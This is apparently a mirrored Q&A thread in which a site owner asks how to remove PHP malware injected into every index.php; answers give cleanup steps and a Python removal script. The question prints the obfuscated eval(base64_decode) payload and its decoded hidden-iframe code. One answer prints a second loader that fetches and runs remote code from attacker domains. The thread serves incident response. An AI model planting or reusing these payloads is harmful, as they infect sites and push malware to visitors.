如何摆脱eval-base64_decode之类的PHP病毒文件?

发布于 2024-11-05 19:56:48 字数 5613 浏览 0 评论 0原文

我的网站(非常大的社区网站)最近感染了病毒。每个 index.php 文件都已更改,因此这些文件的开始 php 标记更改为以下行:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

当我解码此内容时,它生成了以下 PHP 代码:

    <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
    if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}

我尝试了几种方法清除病毒,甚至从备份恢复,文件在几分钟或几小时后会重新感染。那么你能帮我吗?

您对这种病毒了解多少?

是否存在用于安装和传播的已知安全漏洞?

上面的 php 代码实际上做了什么?

它嵌入到 iframe 中的页面有什么作用?

当然更重要的是:我能做什么来摆脱它?

请帮忙,我们几乎没有想法和希望了:(

更新1 更多细节: 一件奇怪的事情是:当我们第一次检查受感染的文件时。它们已更改,但 ftp 程序中的修改时间显示上次访问是几天、几个月甚至几年前(在某些情况下)!这怎么可能?这让我发疯!

更新2 我认为该问题是在用户在其 WordPress 安装中安装了插件后引发的。从备份恢复并完全删除 Wordpress 文件夹和关联的数据库后,问题似乎消失了。我们目前已经订阅了一项安全服务,他们正在调查这个问题,以确保黑客行为永远消失。感谢任何回复的人。

My site (very large community website) was recently infected with a virus. Every index.php file was changed so that the opening php tag of these files it was changed to the following line:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

When I decoded this, it produced the following PHP code:

    <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
    if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}

I've tried several things to clean the virus even restoring from a backup and the files get re-infected after a few minutes or hours. So can you please help me?

What do you know about this virus?

Is there a known security hole it uses to install and propagate?

What does the above php code actually does?

What does the page it embeds in the iframe does?

And of course more importantly: What can i do to get rid of it?

Please help, we have been almost run out of ideas and hope :(

UPDATE1
Some more details: A weird thing is: When we first checked the infected files. They were changed but their modified time in the ftp program was showing last access to be days, months or even years ago in some cases! How is this even possible? It drives me crazy!

UPDATE 2
I think the problem initiated after a user installed a plugin in his Wordpress installation. After restoring from backup and completely deleting the Wordpress folder and the associated db the problem seems gone. We have currently subscribed to a security service and they are investigating the issue just to be sure the hack is gone for good. Thanks for anyone who replied.

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(8

贵在坚持 2024-11-12 19:56:48

恢复和清理站点的步骤(前提是您有已知良好的备份)。

1) 关闭站点

在进行补救工作之前,您基本上需要关闭站点的大门。这将防止访问者获得恶意代码、看到错误消息等。这是很好的做法。

您应该能够通过将以下内容放入 webroot 中的 .htaccess 文件中来完成此操作。 (将“!!您的 IP 地址此处!!”替换为您自己的 IP 地址 - 请参阅 http://icanhazip.com 如果您不知道自己的 IP 地址。)

order deny,allow
deny from all
allow from !!Your IP Address Here!!

2) 从服务器下载所有文件的副本

将所有内容从良好的备份下载到单独的文件夹中。这可能需要一段时间(取决于您的网站大小、连接速度等)。

3) 下载并安装文件/文件夹比较实用程序

在 Windows 计算机上,您可以使用 WinMerge - http://winmerge.org/< /a> - 它是免费的并且非常强大。
在 MacOS 计算机上,从
Alternative.to 中查看可能的替代方案列表

4)运行文件/文件夹比较实用程序

您最终应该得到一些不同的结果:

  • 文件相同 - 当前文件与备份相同,因此不受影响。
  • 仅左侧/右侧的文件 - 该文件仅存在于备份中(并且可能已从服务器中删除),或者仅存在于服务器上(并且可能已被黑客注入/创建)。
  • 文件不同 - 服务器上的文件与备份中的文件不同,因此它可能已被您(为服务器配置)或黑客(以注入代码)修改。

5) 解决差异

(又名“为什么我们不能和睦相处?”)

对于相同的文件,不需要采取进一步的操作。
对于仅存在于一侧的文件,请查看该文件并确定它们是否合法(即应该存在的用户上传、您可能添加的其他文件等)
对于不同的文件,查看该文件(文件差异实用程序甚至可以显示已添加/修改/删除的行)并查看服务器版本是否有效。覆盖(使用备份版本)任何包含恶意代码的文件。

6) 检查您的安全预防措施

是否像更改 FTP/cPanel 密码一样简单,或检查您对外部/不受控制资源的使用(正如您提到的,您正在执行大量 fgets、fopens 等。您可能需要检查参数传递给他们,因为这是使脚本引入恶意代码的一种方式)等。

7)检查站点工作

抓住机会成为唯一查看该站点的人,以确保一切仍然按预期运行,之后受感染的文件已得到纠正,恶意文件已被删除。

8) 打开门

反转步骤 1 中 .htaccess 文件中所做的更改。仔细观察。密切关注您的访问者和错误日志,看看是否有人试图触发已删除的恶意文件等。

9) 考虑自动检测方法

有几种解决方案,允许您在主机上执行自动检查(使用CRON 作业),它将检测并详细说明发生的任何更改。有些有点冗长(每个更改的文件都会收到一封电子邮件),但您应该能够根据您的需要调整它们:

10)计划备份并保留良好的备份

确保您已在网站上执行计划备份,并保留其中的一些备份,以便您可以在必要时及时返回不同的步骤。例如,如果您执行了每周备份,您可能需要保留以下内容:

  • 4 x 每周备份
  • 4 x 每月备份(您保留其中一个每周备份,可能是该月的第一周,作为每月备份)

这些将始终如果有人使用比代码注入攻击更具破坏性的方式攻击您的网站,事情会变得更轻松。

哦,还要确保你备份数据库 - 很多网站都基于 CMS,拥有这些文件很好,但如果你丢失/损坏了它们背后的数据库,那么备份基本上就没用了。

Steps to recover and disinfect your site (provided you have a known good backup).

1) Shutdown the Site

You need to basically close the door to your site before you do your remedial work. This will prevent visitors getting malicious code, seeing error messages, etc. Just good practice.

You should be able to do this by putting the following into your .htaccess file in the webroot. (Replace "!!Your IP Address Here!!" with your own IP address - see http://icanhazip.com if you don't know your IP address.)

order deny,allow
deny from all
allow from !!Your IP Address Here!!

2) Download a Copy of All of your Files from the Server

Download everything into a separate folder from your good backups. This may take a while (dependent on your site size, connection speed, etc).

3) Download and Install a File/Folder Comparison Utility

On a Windows machine, you can use WinMerge - http://winmerge.org/ - it's free and quite powerful.
On a MacOS machine, check out the list of possible alternates from Alternative.to

4) Run the File/Folder Comparison Utility

You should end up with a few different results:

  • Files are Identical - The current file is the same as your backup, and so is unaffected.
  • File on Left/Right Side Only - That file either only exists in the backup (and may have been deleted from the server), or only exists on the server (and may have been injected/created by the hacker).
  • File is Different - The file on the server is not the same as the one in the backup, so it may have been modified by you (to configure it for the server) or by the hacker (to inject code).

5) Resolve the Differences

(a.k.a "Why can't we all just get along?")

For Files which are Identical, no further action is required.
For Files which Exist on One Side Only, look at the file and figure out whether they are legitimate (ie user uploads which should be there, additional files you may have added, etc.)
For Files which are Different, look at the file (the File Difference Utility may even show you which lines have been added/modified/removed) and see whether the server version is valid. Overwrite (with the backed-up version) any files which contain malicious code.

6) Review your Security Precautions

Whether this is as simple as changing your FTP/cPanel Passwords, or reviewing your use of external/uncontrolled resources (as you mention you are performing alot of fgets, fopens, etc. you may want to check the parameters being passed to them as that is a way to make scripts pull in malicious code), etc.

7) Check the Site Works

Take the opportunity of being the only person looking at the site to make sure that everything is still operating as expected, after the infected files are corrected and malicious files have been removed.

8) Open the Doors

Reverse the changes made in the .htaccess file in Step 1. Watch carefully. Keep an eye on your visitor and error logs to see if anyone tries to trigger the removed malicious files, etc.

9) Consider Automated Detection Methods

There are a few solutions, allowing for you to have an automated check performed on your host (using a CRON job) which will detect and detail any changes which occur. Some are a bit verbose (you will get an email for each and every file changed), but you should be able to adapt them to your needs:

10) Have Scheduled Backups, and Retain a Good Bracket

Make sure you have scheduled backups performed on your website, keep a few of them, so you have different steps you can go back in time, if necessary. For instance, if you performed weekly backups, you might want to keep the following:

  • 4 x Weekly Backups
  • 4 x Monthly Backups (you retain one of the Weekly Backups, maybe the first week of the month, as the Monthly Backup)

These will always make life easier if you have someone attack your site with something a bit more destructive than a code injection attack.

Oh, and ensure you backup your databases too - with alot of sites being based on CMSes, having the files is nice, but if you lose/corrupt the database behind them, well, the backups are basically useless.

凉城已无爱 2024-11-12 19:56:48

我也遭受过同样的黑客工作。我也能够解密代码,虽然我得到了不同的 php 代码,但我首先通过循环访问站点中的每个 php 文件并删除 eval 调用来删除注入的 php 文本。我仍在调查我是如何开始的,但这是我从该网站解密后的样子:

要解码每个 php 文件上的加密 php 脚本,请使用以下命令:
http://www.opinionatedgeek.com/dotnet/tools/base64decode/

并且使用这个人格式化结果:
http://beta.phpformatter.com/

要清理,您需要从每个 php 文件的顶部,然后从网站的基本文件夹中删除 .log 文件夹。

我发现了一个 python 脚本,我对其进行了稍微修改以删除 php 文件中的木马,因此我将其发布在这里供其他人使用:
来自线程的代码源: 替换目录树中所有文件中的一个字符与另一个字符的所有实例

import os
import re
import sys

def try_to_replace(fname):
    if replace_extensions: 
        return fname.lower().endswith(".php")
    return True


def file_replace(fname, pat, s_after):
    # first, see if the pattern is even in the file.
    with open(fname) as f:
        if not any(re.search(pat, line) for line in f):
            return # pattern does not occur in file so we are done.

    # pattern is in the file, so perform replace operation.
    with open(fname) as f:
        out_fname = fname + ".tmp"
        out = open(out_fname, "w")
        for line in f:
            out.write(re.sub(pat, s_after, line))
        out.close()
        os.rename(out_fname, fname)


def mass_replace(dir_name, s_before, s_after):
    pat = re.compile(s_before)
    for dirpath, dirnames, filenames in os.walk(dir_name):
        for fname in filenames:
            if try_to_replace(fname):
                print "cleaning: " + fname
                fullname = os.path.join(dirpath, fname)
                file_replace(fullname, pat, s_after)

if len(sys.argv) != 2:
    u = "Usage: rescue.py <dir_name>\n"
    sys.stderr.write(u)
    sys.exit(1)

mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")

,以使用类型

python saving.py rootfolder

这就是恶意脚本试图执行的操作:

<?php

if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (!function_exists('mrobh')) {
        function get_tds_777($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;

            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }

        function trycurl_777($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f   = @fopen($url, 'r');
            if ($f) {
                while (!feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $f    = @fsockopen($host, 80, $errno, $errstr, 30);
            if (!$f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (!feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function trysocket_777($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $ip1  = @gethostbyname($host);
            $ip2  = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (!@socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function update_tds_file_777($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val     = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir           = $_SERVER['s_p1'];
            $tdsfile       = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c   = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (!@is_dir($rz)) {
                @mkdir($rz);
                if (@is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (!@is_dir($rz)) {
                        @mkdir($rz);
                        if (@is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua  = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1']     = $mz;
            $_SERVER['s_b1']     = $bot;
            $_SERVER['s_t1']     = 1200;
            $_SERVER['s_d1']     = base64_decode('http://ens122zzzddazz.com/');
            $d                   = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1']     = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
